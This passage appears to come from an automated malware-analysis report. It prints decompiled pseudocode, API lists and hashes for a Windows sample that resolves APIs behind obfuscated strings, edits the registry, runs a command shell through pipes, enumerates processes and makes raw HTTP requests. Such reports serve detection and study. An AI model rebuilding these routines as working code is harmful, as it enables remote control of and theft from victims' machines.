									_v1236 = 0x4239a1;
									_v1228 =  &_v856;
									_v1148 = 0;
									_v1220 = _t317;
									 *_t342 = _t336;
									_t271 = E00412755( &_v856);
									_t330 = _t271;
									if(_t271 != 0xffffffff) {
										_v1228 = _t271;
										_v1236 = _t308;
										_v1224 = 1;
										_v1232 = _t336;
										_t308 = _t308 + _t330;
										 *_t342 =  &_v1168;
										_v1168 = E00412ABF(0);
									}
								}
								_t264 = _v1152;
								if(_t264 != 0) {
									 *_t342 = _t264;
									_v1196();
									_push(_t336);
								}
							}
							_v1192 =  &(1[_v1192]);
						}
						goto L33;
					}
				}
			}

0x0040dce9
0x0040dd08
0x0040dd20
0x0040dd26
0x0040dd2e
0x0040dd36
0x0040dd3e
0x0040dd46
0x0040dd46
0x0040dd5c
0x0040dd5e
0x0040dd60
0x0040dd63
0x0040e3aa
0x0040e3b4
0x0040e3b4
0x0040dd83
0x0040dd85
0x0040dd98
0x0040dd9f
0x0040dda6
0x0040ddaa
0x0040ddaf
0x0040ddb2
0x0040ddbd
0x0040ddbf
0x0040ddd2
0x0040ddd9
0x0040dde0
0x0040dde4
0x0040dde9
0x0040ddec
0x0040ddf0
0x0040ddf7
0x0040ddfe
0x0040de02
0x0040de07
0x0040de0a
0x0040de0e
0x0040de15
0x0040de16
0x0040de17
0x0040de1c
0x0040de2a
0x0040de34
0x0040de3e
0x0040de43
0x0040de4c
0x0040de4c
0x00000000
0x0040de53
0x0040de57
0x0040de5f
0x0040de67
0x0040de6a
0x0040de6c
0x0040de71
0x00000000
0x00000000
0x0040de77
0x0040de7f
0x0040de87
0x0040de8f
0x0040de92
0x0040de94
0x0040de99
0x00000000
0x0040dea2
0x0040deaa
0x0040dec0
0x00000000
0x0040deea
0x0040deea
0x0040def2
0x0040e164
0x0040e142
0x0040e14a
0x0040e14e
0x0040e152
0x0040e155
0x0040e15e
0x0040e1b4
0x0040e200
0x0040e208
0x0040e24c
0x0040e258
0x0040e260
0x0040e268
0x0040e270
0x0040e277
0x0040e27e
0x0040e282
0x0040e28a
0x0040e28d
0x0040e291
0x0040e296
0x0040e2a0
0x0040e2a7
0x0040e2af
0x0040e2b7
0x0040e2bf
0x0040e2c3
0x0040e2ce
0x0040e2d6
0x0040e2dd
0x0040e2e4
0x0040e2e8
0x0040e2ed
0x0040e2f0
0x0040e2f4
0x0040e2ff
0x0040e303
0x0040e30b
0x0040e313
0x0040e317
0x0040e31f
0x0040e323
0x0040e326
0x0040e32e
0x0040e330
0x0040e332
0x0040e33a
0x0040e33e
0x0040e346
0x0040e34a
0x0040e34c
0x0040e354
0x0040e354
0x0040e330
0x0040e358
0x0040e35e
0x0040e364
0x0040e367
0x0040e36b
0x0040e36b
0x0040e35e
0x0040e160
0x0040e160
0x0040e371
0x0040e371
0x0040e377
0x0040e379
0x0040e37c
0x0040e380
0x0040e380
0x0040e386
0x0040e38c
0x0040e38f
0x0040e393
0x0040e393
0x0040e39c
0x0040e3a4
0x0040e3a6
0x00000000
0x0040e3a6
0x0040dec0
0x0040deac
0x0040deac
0x0040deb4
0x0040df24
0x0040df02
0x0040df0a
0x0040df0e
0x0040df12
0x0040df15
0x0040df1e
0x0040df74
0x0040dfc0
0x0040dfc8
0x0040e00c
0x0040e018
0x0040e020
0x0040e028
0x0040e030
0x0040e038
0x0040e03f
0x0040e046
0x0040e04a
0x0040e052
0x0040e055
0x0040e059
0x0040e05e
0x0040e068
0x0040e06f
0x0040e077
0x0040e07f
0x0040e087
0x0040e08b
0x0040e096
0x0040e09e
0x0040e0a5
0x0040e0ac
0x0040e0b0
0x0040e0b5
0x0040e0b8
0x0040e0bc
0x0040e0c7
0x0040e0cb
0x0040e0d3
0x0040e0db
0x0040e0df
0x0040e0e7
0x0040e0eb
0x0040e0ee
0x0040e0f6
0x0040e0f8
0x0040e0fa
0x0040e102
0x0040e106
0x0040e10e
0x0040e112
0x0040e114
0x0040e11c
0x0040e11c
0x0040e0f8
0x0040e120
0x0040e126
0x0040e12c
0x0040e12f
0x0040e133
0x0040e133
0x0040e126
0x0040df20
0x0040df20
0x00000000
0x0040df24
0x0040de99

APIs

LoadLibraryA.KERNEL32 ref: 0040DD57
GetProcAddress.KERNEL32(?), ref: 0040DD7C
GetProcAddress.KERNEL32 ref: 0040DD98
GetProcAddress.KERNEL32 ref: 0040DDB6
GetProcAddress.KERNEL32(?,?), ref: 0040DDD2
GetProcAddress.KERNEL32 ref: 0040DDF0
GetProcAddress.KERNEL32 ref: 0040DE0E
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E397

Part of subcall function 004132E6: GetVersionExA.KERNEL32 ref: 00413325
Part of subcall function 004132E6: GetSystemMetrics.USER32 ref: 004133FA

WideCharToMultiByte.KERNEL32 ref: 0040DF74
WideCharToMultiByte.KERNEL32 ref: 0040DFC0
WideCharToMultiByte.KERNEL32 ref: 0040E00C
WideCharToMultiByte.KERNEL32 ref: 0040E0B0
WideCharToMultiByte.KERNEL32 ref: 0040E1B4
WideCharToMultiByte.KERNEL32 ref: 0040E200
WideCharToMultiByte.KERNEL32 ref: 0040E24C
WideCharToMultiByte.KERNEL32 ref: 0040E2E8

Strings

zCQi5_0dd, xrefs: 0040DDF7
zCQi5TsdRzCQi5, xrefs: 0040DD69
zCQi5jRQld0C5dX5dl6, xrefs: 0040DD9F
zCQi5PiW6dzCQi5, xrefs: 0040DD85
zCQi5Ed5X5dl, xrefs: 0040DDBF, 0040DDD9
2CQi5Yi4.Sii, xrefs: 0040DD48

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$AddressProc$Library$FreeLoadMetricsSystemVersion
String ID: 2CQi5Yi4.Sii$zCQi5Ed5X5dl$zCQi5PiW6dzCQi5$zCQi5TsdRzCQi5$zCQi5_0dd$zCQi5jRQld0C5dX5dl6
API String ID: 4051271034-1136301387
Opcode ID: 87aafaf84040a22bc4a574d69e3875252030c0c31ccf32c7b5f1b702cec560f4
Instruction ID: 0411f2c87eaa10a6bc819440aee1928311a11f64f3fd3897648e7812cf6e01f9
Opcode Fuzzy Hash: 87aafaf84040a22bc4a574d69e3875252030c0c31ccf32c7b5f1b702cec560f4
Instruction Fuzzy Hash: 6802ADB04087419FD310EF6AC58875BBBE4BF84358F108D2EF4948B291E7B9D5898F96

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC4, Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 236
registryCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00410FC4(void* __ecx, long _a4, long _a8, int* _a12, void* _a16, long _a20, long _a24, long _a28, intOrPtr _a32) {
				long _v544;
				long _v548;
				int _v552;
				void* _v556;
				long* _v572;
				void** _v576;
				char* _v580;
				int* _v584;
				long _v588;
				long* _v592;
				int _v596;
				char* _v600;
				signed int _t122;
				signed int _t130;
				int* _t134;
				long _t135;
				void* _t137;
				intOrPtr* _t138;

				_t138 = _t137 - 0x24c;
				_t135 = _a8;
				_t134 = _a12;
				_t122 = _a32 - 1;
				if(_t122 > 5) {
					L28:
					_t130 = 0;
					L29:
					return _t130;
				}
				switch( *((intOrPtr*)(_t122 * 4 +  &M0042444C))) {
					case 0:
						_v580 = 0;
						_v584 = 0xf003f;
						_v588 = 0;
						_v592 = 0;
						_v572 =  &_v548;
						_v596 = 0;
						_v600 = _t134;
						 *_t138 = _t135;
						_v576 =  &_v556;
						_t126 = RegCreateKeyExA(??, ??, ??, ??, ??, ??, ??, ??, ??);
						_t138 = _t138 - 0x24;
						if(_t126 != 0) {
							goto L28;
						}
						_v584 = _t134;
						_v588 = _t135;
						_v592 = 1;
						goto L7;
					case 1:
						__eax =  &_v556;
						__eax = RegOpenKeyExA(__esi, __edi, 0, 0x2001f,  &_v556);
						__esp = __esp - 0x14;
						if(__eax != 0) {
							goto L28;
						}
						__eax = _a28;
						_v596 = 0;
						_v600 = __ebp;
						_v584 = _a28;
						__eax = _a24;
						_v588 = _a24;
						__eax = _a20;
						_v592 = _a20;
						__eax = _v556;
						 *__esp = _v556;
						__eax = RegSetValueExA(??, ??, ??, ??, ??, ??);
						__esp = __esp - 0x18;
						__ebx = __eax;
						__eax = _v556;
						_push(RegCloseKey(_v556));
						if(__ebx != 0) {
							goto L28;
						}
						_v584 = __edi;
						_v588 = __esi;
						_v592 = 2;
						L7:
						_t131 =  &_v544;
						_v596 = "%c%.8x%s";
						_v600 = 0x204;
						 *_t138 = _t131;
						_t127 = E004127A8();
						goto L14;
					case 2:
						__eax = E0041086B(__ecx, __esi, __edi, __ebp);
						__bl = __al;
						if(__al == 0) {
							goto L28;
						}
						_v588 = __esi;
						__esi =  &_v544;
						_v580 = __ebp;
						_v584 = __edi;
						__eax = E004127A8(__esi, 0x204, "%c%.8x%s%s", 3);
						if(__eax == 0) {
							goto L16;
						}
						goto L27;
					case 3:
						__eax =  &_v556;
						__eax = RegOpenKeyExA(__esi, __edi, 0, 0x2001f,  &_v556);
						__esp = __esp - 0x14;
						if(__eax != 0) {
							goto L28;
						}
						__eax = _v556;
						__ebx = RegDeleteValueA(_v556, __ebp);
						_push(__ecx);
						__eax = _v556;
						 *__esp = _v556;
						_push(RegCloseKey(__ecx));
						if(__ebx != 0) {
							goto L28;
						}
						__ebx =  &_v544;
						_v580 = __ebp;
						_v584 = __edi;
						_v588 = __esi;
						__eax = E004127A8( &_v544, 0x204, "%c%.8x%s\\%s", 4);
						L14:
						if(_t127 != 0) {
							_v592 = _t127;
							_v596 = _t131;
							_v600 = 0xe8;
							 *_t138 = _a4;
							E00405D7D(_t133);
						}
						L16:
						_t130 = 1;
						goto L29;
					case 4:
						goto L28;
					case 5:
						__eax =  &_v556;
						__eax = RegOpenKeyExA(__esi, __edi, 0, 0x2001f,  &_v556);
						__esp = __esp - 0x14;
						if(__eax != 0) {
							goto L28;
						}
						__eax =  &_v552;
						_v588 = 0;
						_v596 = 0;
						_v600 = __ebp;
						__ebx = 0;
						_v584 =  &_v552;
						__eax =  &_v548;
						_v592 =  &_v548;
						__eax = _v556;
						 *__esp = _v556;
						__eax = RegQueryValueExA(??, ??, ??, ??, ??, ??);
						__esp = __esp - 0x18;
						if(__eax != 0) {
							L25:
							__eax = _v556;
							_push(RegCloseKey(_v556));
							if(__bl == 0) {
								goto L29;
							}
							__eax = _a24;
							_v588 = __esi;
							__esi =  &_v544;
							_v576 = __ebp;
							_v584 = __edi;
							_v592 = 6;
							_v596 = 0x42443c;
							_v580 = _a24;
							_v600 = 0x204;
							 *__esp = __esi;
							__eax = E004127A8();
							if(__eax == 0) {
								goto L29;
							}
							L27:
							_v592 = __eax;
							__eax = _a4;
							_v596 = __esi;
							_v600 = 0xe8;
							 *__esp = _a4;
							__eax = E00405D7D(__edx);
							goto L29;
						}
						__eax = _v552;
						__eax = malloc(_v552);
						_v544 = __eax;
						if(__eax == 0) {
							goto L25;
						}
						_v588 = __eax;
						__eax =  &_v548;
						__edx =  &_v552;
						_v596 = 0;
						_v600 = __ebp;
						_v592 =  &_v548;
						__eax = _v556;
						_v584 = __edx;
						 *__esp = _v556;
						__eax = RegQueryValueExA(??, ??, ??, ??, ??, ??);
						__esp = __esp - 0x18;
						if(__eax == 0) {
							__eax = _v552;
							_v596 = 0;
							_v584 = _v552;
							__eax = _v544;
							_v588 = _v544;
							__eax = _v548;
							_v592 = _v548;
							__eax = _a24;
							_v600 = _a24;
							__eax = _v556;
							 *__esp = _v556;
							__eax = RegSetValueExA(??, ??, ??, ??, ??, ??);
							__esp = __esp - 0x18;
							if(__eax != 0) {
								goto L21;
							}
							__eax = _v556;
							__eax = RegDeleteValueA(_v556, __ebp);
							_push(__edx);
							_push(__edx);
							__ebx = 0 | __eax == 0x00000000;
							L24:
							 &_v544 = E00407F59( &_v544);
							goto L25;
						}
						L21:
						__ebx = 0;
						goto L24;
				}
			}

0x00410fc8
0x00410fd5
0x00410fdc
0x00410fea
0x00410fee
0x004113a8
0x004113a8
0x004113aa
0x004113b6
0x004113b6
0x00410ff4
0x00000000
0x00410fff
0x00411007
0x0041100f
0x00411017
0x0041101f
0x00411027
0x0041102f
0x00411033
0x00411036
0x0041103a
0x0041103f
0x00411044
0x00000000
0x00000000
0x0041104a
0x0041104e
0x00411052
0x00000000
0x00000000
0x0041105f
0x0041107e
0x00411083
0x00411088
0x00000000
0x00000000
0x0041108e
0x00411095
0x0041109d
0x004110a1
0x004110a5
0x004110ac
0x004110b0
0x004110b7
0x004110bb
0x004110bf
0x004110c2
0x004110c7
0x004110ca
0x004110cc
0x004110da
0x004110db
0x00000000
0x00000000
0x004110e1
0x004110e5
0x004110e9
0x004110f1
0x004110f1
0x004110f5
0x004110fd
0x00411105
0x00411108
0x00000000
0x00000000
0x0041111d
0x00411124
0x00411126
0x00000000
0x00000000
0x0041112c
0x00411130
0x00411134
0x00411138
0x00411157
0x0041115e
0x00000000
0x00000000
0x00000000
0x00000000
0x00411169
0x00411188
0x0041118d
0x00411192
0x00000000
0x00000000
0x00411198
0x004111a8
0x004111aa
0x004111ac
0x004111b0
0x004111ba
0x004111bb
0x00000000
0x00000000
0x004111c1
0x004111c5
0x004111c9
0x004111cd
0x004111ec
0x004111f1
0x004111f3
0x004111f5
0x00411200
0x00411204
0x0041120c
0x0041120f
0x0041120f
0x00411214
0x00411214
0x00000000
0x00000000
0x00000000
0x00000000
0x0041121b
0x0041123a
0x0041123f
0x00411244
0x00000000
0x00000000
0x0041124a
0x0041124e
0x00411256
0x0041125e
0x00411262
0x00411264
0x00411268
0x0041126c
0x00411270
0x00411274
0x00411277
0x0041127c
0x00411281
0x00411337
0x00411337
0x00411345
0x00411346
0x00000000
0x00000000
0x00411348
0x0041134f
0x00411353
0x00411357
0x0041135b
0x0041135f
0x00411367
0x0041136f
0x00411373
0x0041137b
0x0041137e
0x00411385
0x00000000
0x00000000
0x00411387
0x00411387
0x0041138b
0x00411392
0x00411396
0x0041139e
0x004113a1
0x00000000
0x004113a1
0x00411287
0x0041128e
0x00411295
0x00411299
0x00000000
0x00000000
0x0041129f
0x004112a3
0x004112a7
0x004112ab
0x004112b3
0x004112b7
0x004112bb
0x004112bf
0x004112c3
0x004112c6
0x004112cb
0x004112d0
0x004112d6
0x004112da
0x004112e2
0x004112e6
0x004112ea
0x004112ee
0x004112f2
0x004112f6
0x004112fd
0x00411301
0x00411305
0x00411308
0x0041130d
0x00411312
0x00000000
0x00000000
0x00411314
0x0041131f
0x00411326
0x00411327
0x00411328
0x0041132b
0x00411332
0x00000000
0x00411332
0x004112d2
0x004112d2
0x00000000
0x00000000

APIs

RegCreateKeyExA.ADVAPI32 ref: 0041103A
RegOpenKeyExA.ADVAPI32 ref: 0041107E
RegSetValueExA.ADVAPI32 ref: 004110C2
RegCloseKey.ADVAPI32 ref: 004110D3
RegOpenKeyExA.ADVAPI32 ref: 00411188
RegDeleteValueA.ADVAPI32 ref: 004111A3
RegCloseKey.ADVAPI32 ref: 004111B3
RegOpenKeyExA.ADVAPI32 ref: 0041123A
RegQueryValueExA.ADVAPI32 ref: 00411277
malloc.MSVCRT ref: 0041128E
RegQueryValueExA.ADVAPI32 ref: 004112C6
RegSetValueExA.ADVAPI32 ref: 00411308
RegDeleteValueA.ADVAPI32 ref: 0041131F
RegCloseKey.ADVAPI32 ref: 0041133E

Strings

%c%.8x%s, xrefs: 004110F5
%c%.8x%s\%s, xrefs: 004111D9
?, xrefs: 00411007
%c%.8x%s%s, xrefs: 00411144

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseOpen$DeleteQuery$Createmalloc
String ID: %c%.8x%s$%c%.8x%s%s$%c%.8x%s\%s$?
API String ID: 2456196832-1127014073
Opcode ID: f1ef6a393e88643d805cb06b121d17f0be80af9c4145ae47d983f0f57c2ce8e1
Instruction ID: 5e49c9d9379b1dd87b15daa38270e0e0a3fc6f91244b4719e2a77dc22190009b
Opcode Fuzzy Hash: f1ef6a393e88643d805cb06b121d17f0be80af9c4145ae47d983f0f57c2ce8e1
Instruction Fuzzy Hash: DAB1CFB0909345AFD700EF69D18469FFBE4BF84744F40892EF99887311D7B8D5898B46

Uniqueness

Uniqueness Score: -1.00%

Function 004113B8, Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 198pipeprocessfileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 004113D7

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

getenv.MSVCRT ref: 0041140B
CreatePipe.KERNEL32 ref: 004114B1
CreatePipe.KERNEL32 ref: 004114E0
GetStartupInfoA.KERNEL32 ref: 004114F3
CreateProcessA.KERNEL32 ref: 0041156E
CloseHandle.KERNEL32 ref: 004115A8
CloseHandle.KERNEL32(?), ref: 004115B7

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

PeekNamedPipe.KERNEL32 ref: 0041161A
malloc.MSVCRT ref: 0041163E
ReadFile.KERNEL32 ref: 0041166C
CloseHandle.KERNEL32 ref: 004116BB
CloseHandle.KERNEL32(00000000), ref: 004116C9
TerminateProcess.KERNEL32(?,00000000), ref: 004116DE

Strings

WINDIR, xrefs: 00411404
ComSpec, xrefs: 004113C9
%6\6Z65dlNh\YlS.dfd, xrefs: 00411410
D, xrefs: 0041144E

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$CriticalFileProcessSectiongetenv$AttributesByteCharEnterInfoLeaveMultiNamedPeekReadStartupTerminateWide_vsnprintfmalloc
String ID: %6\6Z65dlNh\YlS.dfd$ComSpec$D$WINDIR
API String ID: 875277771-1530679608
Opcode ID: 616a6ba28ebc10187a6d919c1e322df4324662c86dc99716dd64c8a11bba0f52
Instruction ID: c0a2dff8ecfd3ca449ec7184aa16f3f0f3f293b9e2d18e22baf8a99b3bb4e763
Opcode Fuzzy Hash: 616a6ba28ebc10187a6d919c1e322df4324662c86dc99716dd64c8a11bba0f52
Instruction Fuzzy Hash: F4919EB05087419FD710AF65C18875FBBE4AF84748F01892EE5D88B3A1D7B99489CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC15, Relevance: 27.2, APIs: 6, Strings: 12, Instructions: 218COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041AC2A
malloc.MSVCRT ref: 0041AC8B
free.MSVCRT ref: 0041AC9F

Part of subcall function 00414FEF: realloc.MSVCRT ref: 00415034

free.MSVCRT ref: 0041AF2C
free.MSVCRT ref: 0041AF38
free.MSVCRT ref: 0041AF8A

Strings

H, xrefs: 0041AE32
G, xrefs: 0041ADFD
I, xrefs: 0041AEAC
A, xrefs: 0041AEC3
D, xrefs: 0041AEBE
N, xrefs: 0041ADF4
), xrefs: 0041ACB5
P, xrefs: 0041ADD0
I, xrefs: 0041AE2D
R, xrefs: 0041AE3C
T, xrefs: 0041AED0
D, xrefs: 0041AE37

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: free$malloc$realloc
String ID: )$A$D$D$G$H$I$I$N$P$R$T
API String ID: 10190057-4026286603
Opcode ID: f7e0d66e6706360943002546ce2ae5a522dee07f1adf161bc0e3ce1e523a7a0e
Instruction ID: 7b50295ee95f3483ab7dff93a2a89c17451d79e52031df4d4eaf42e24e8d509c
Opcode Fuzzy Hash: f7e0d66e6706360943002546ce2ae5a522dee07f1adf161bc0e3ce1e523a7a0e
Instruction Fuzzy Hash: 14A1D27110D3809ED311DB69C48438FFFE1ABA6308F44895EE5C89B382D7B99989CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE8C, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 184
timeprocessCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E0040FE8C(void* __ecx, void* __edx) {
				intOrPtr _v0;
				void* _v8;
				char _v552;
				char _v1068;
				char _v1328;
				long _v1356;
				char _v1360;
				char _v1364;
				char _v1396;
				struct _SYSTEMTIME _v1412;
				intOrPtr _v1420;
				char _v1424;
				int _v1428;
				char _v1432;
				char _v1440;
				FILETIME* _v1448;
				signed int _v1476;
				signed int _v1480;
				signed int _v1484;
				signed int _v1488;
				long _v1492;
				signed int _v1496;
				int _v1500;
				int _v1504;
				void* _v1508;
				void* _t76;
				int _t80;
				void* _t83;
				intOrPtr* _t85;
				void* _t87;
				int _t89;
				int _t90;
				void* _t96;
				int _t98;
				int _t109;
				void* _t118;
				void* _t119;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t126;
				FILETIME* _t127;
				intOrPtr* _t129;
				void* _t131;
				void* _t132;
				signed int _t135;
				void** _t136;
				void* _t137;

				_t126 = __edx;
				_t125 = __ecx;
				_t136 =  &_v1484;
				_v1496 = 0;
				_t76 = CreateToolhelp32Snapshot(2);
				_push(_t126);
				_push(_t126);
				if(_t76 == 0xffffffff) {
					L3:
					return E00405D7D(_t126, _v0, 0xbf, 0, 0);
				}
				_t123 = _t76;
				_v1360 = 0x128;
				_v1504 = _t123;
				_v1500 =  &_v1360;
				_t80 = Process32First(??, ??);
				_push(_t134);
				if(_t80 != 0) {
					E0041236C( &_v1424, 0x8000);
					_t83 = E004081AA("Ed5FWSQid_4idLCldjfD");
					_t85 = E00407F8E(_t126, E00407F7A(_t126, "psapi.dll"), _t83);
					_t129 = _t85;
					if(_t85 == 0) {
						_t119 = E004081AA("Ed5FWSQid_4idLCldjfD");
						_t129 = E00407F8E(_t126, E00407F7A(_t126, "kernel32.dll"), _t119);
					}
					_t135 =  &_v552;
					do {
						_t87 = OpenProcess(0x410, 0, _v1356);
						_t137 = _t136 - 0xc;
						_t131 = _t87;
						if(_t87 == 0 || _t129 == 0) {
							L10:
							E00412548(_t135, 0x424374, 0x204);
							goto L11;
						} else {
							_v1496 = 0x204;
							_v1500 = _t135;
							_v1504 = 0;
							_v1508 = _t87;
							_t118 =  *_t129();
							_t137 = _t137 - 0x10;
							if(_t118 != 0) {
								L11:
								_t89 =  &_v1432;
								_t127 =  &_v1440;
								_v1508 = _t131;
								_v1492 = _t89;
								_v1496 = _t89;
								_v1500 = _t89;
								_v1504 = _t127;
								_v1448 = _t127;
								_t90 = GetProcessTimes(??, ??, ??, ??, ??);
								_t136 = _t137 - 0x14;
								if(_t90 == 0) {
									L23:
									E00412548( &_v1396, 0x424374, 0x20);
									goto L14;
								}
								_t127 = _v1448;
								if(_v1440 == 0) {
									goto L23;
								}
								_t109 = FileTimeToSystemTime(_t127,  &_v1412);
								_push(_t109);
								_push(_t109);
								_v1500 = "%.2d/%.2d/%d %.2d:%.2d:%.2d";
								_v1504 = 0x20;
								_v1476 = _v1412.wSecond & 0x0000ffff;
								_v1480 = _v1412.wMinute & 0x0000ffff;
								_v1484 = _v1412.wHour & 0x0000ffff;
								_v1488 = _v1412.wYear & 0x0000ffff;
								_v1492 = _v1412.wMonth & 0x0000ffff;
								_v1496 = _v1412.wDay & 0x0000ffff;
								_v1508 =  &_v1396;
								E004127A8();
								goto L14;
							}
							goto L10;
						}
						L14:
						if(_t131 != 0) {
							CloseHandle(_t131);
							_push(_t131);
						}
						_t132 =  &_v1068;
						_v1488 = _t135;
						_v1500 = 0x424376;
						_v1504 = 0x204;
						_v1484 =  &_v1396;
						_v1508 = _t132;
						_v1492 = _v1356;
						_v1496 =  &_v1328;
						_t96 = E004127A8();
						if(_t96 > 0) {
							E00412458( &_v1424, _t127,  &_v1424, _t132, _t96);
						}
						_v1508 = _t123;
						_v1504 =  &_v1364;
						_t98 = Process32Next(??, ??);
						_push(_t125);
						_push(_t125);
					} while (_t98 != 0);
					 *_t136 = _t123;
					CloseHandle(??);
					_push(_t127);
					_t124 =  &_v1428;
					if(_v1420 == 0) {
						_v1500 = 0;
						_v1504 = 0;
						_v1508 = 0xbf;
					} else {
						 *_t136 = _t124;
						_v1500 = E00412540();
						_v1508 = 0xbe;
						_v1504 = _v1428;
					}
					 *_t136 = _v8;
					E00405D7D(_t127);
					 *_t136 = _t124;
					return E004123B1();
				}
				CloseHandle(_t123);
				goto L3;
			}

0x0040fe8c
0x0040fe8c
0x0040fe90
0x0040fe96
0x0040fea5
0x0040fead
0x0040feae
0x0040feaf
0x0040fee0
0x00000000
0x0040ff02
0x0040feb1
0x0040feba
0x0040fec5
0x0040fec8
0x0040fecc
0x0040fed4
0x0040fed5
0x0040ff1b
0x0040ff27
0x0040ff41
0x0040ff48
0x0040ff4a
0x0040ff53
0x0040ff72
0x0040ff72
0x0040ff74
0x0040ff7b
0x0040ff95
0x0040ff9a
0x0040ff9f
0x0040ffa1
0x0040ffc7
0x0040ffda
0x00000000
0x0040ffa7
0x0040ffa7
0x0040ffaf
0x0040ffb3
0x0040ffbb
0x0040ffbe
0x0040ffc0
0x0040ffc5
0x0040ffdf
0x0040ffdf
0x0040ffe3
0x0040ffe7
0x0040ffea
0x0040ffee
0x0040fff2
0x0040fff6
0x0040fffa
0x0040fffe
0x00410003
0x00410008
0x00410167
0x0041017e
0x00000000
0x0041017e
0x00410013
0x00410017
0x00000000
0x00000000
0x00410028
0x0041002d
0x0041002e
0x00410034
0x0041003c
0x00410044
0x0041004d
0x00410056
0x0041005f
0x00410068
0x00410071
0x00410079
0x0041007c
0x00000000
0x0041007c
0x00000000
0x0040ffc5
0x00410081
0x00410083
0x00410088
0x0041008d
0x0041008d
0x00410092
0x00410099
0x0041009d
0x004100a5
0x004100ad
0x004100b8
0x004100bb
0x004100c6
0x004100ca
0x004100d1
0x004100e2
0x004100e2
0x004100ee
0x004100f1
0x004100f5
0x004100fc
0x004100fd
0x004100fd
0x00410104
0x00410107
0x0041010c
0x00410112
0x00410116
0x00410136
0x0041013e
0x00410146
0x00410118
0x00410118
0x00410120
0x00410128
0x00410130
0x00410130
0x00410155
0x00410158
0x0041015d
0x00000000
0x00410160
0x0040feda
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0040FEA5
Process32First.KERNEL32 ref: 0040FECC
CloseHandle.KERNEL32 ref: 0040FEDA

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

OpenProcess.KERNEL32 ref: 0040FF95
GetProcessTimes.KERNEL32 ref: 0040FFFE
FileTimeToSystemTime.KERNEL32 ref: 00410028
CloseHandle.KERNEL32(00000000,00000000), ref: 00410088
Process32Next.KERNEL32 ref: 004100F5
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00410107

Strings

%.2d/%.2d/%d %.2d:%.2d:%.2d, xrefs: 00410034
, xrefs: 0041016B
kernel32.dll, xrefs: 0040FF58
psapi.dll, xrefs: 0040FF2C
Ed5FWSQid_4idLCldjfD, xrefs: 0040FF20, 0040FF4C
, xrefs: 0041003C

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$ProcessProcess32Time$CreateFileFirstNextOpenSnapshotSystemTimesToolhelp32_vsnprintf
String ID: $ $%.2d/%.2d/%d %.2d:%.2d:%.2d$Ed5FWSQid_4idLCldjfD$kernel32.dll$psapi.dll
API String ID: 1698657367-116260847
Opcode ID: 29e0c6c4af74bcfaac4a1d46f5b8779cc5999e189975c46573ebb5cc9df879ed
Instruction ID: 6fadafcb3b73e839ba5121377a1d1d4624def229cb7cc3727062cbee2f3d546e
Opcode Fuzzy Hash: 29e0c6c4af74bcfaac4a1d46f5b8779cc5999e189975c46573ebb5cc9df879ed
Instruction Fuzzy Hash: BB81C3B0408741AED720AF25C54566FBBE4AF85748F018D2EF8D887351E7BDC989CB46

Uniqueness

Uniqueness Score: -1.00%

Function 004093E7, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 177networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00409442

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

connect.WS2_32 ref: 0040948F
send.WS2_32 ref: 004094F4
recv.WS2_32 ref: 00409533

Strings

GET %s HTTP/1.1Host: %s User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8Connection: close, xrefs: 004094B5
200 OK, xrefs: 00409560
, xrefs: 0040957B

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: connectgethostbynamehtonsrecvsendsocket
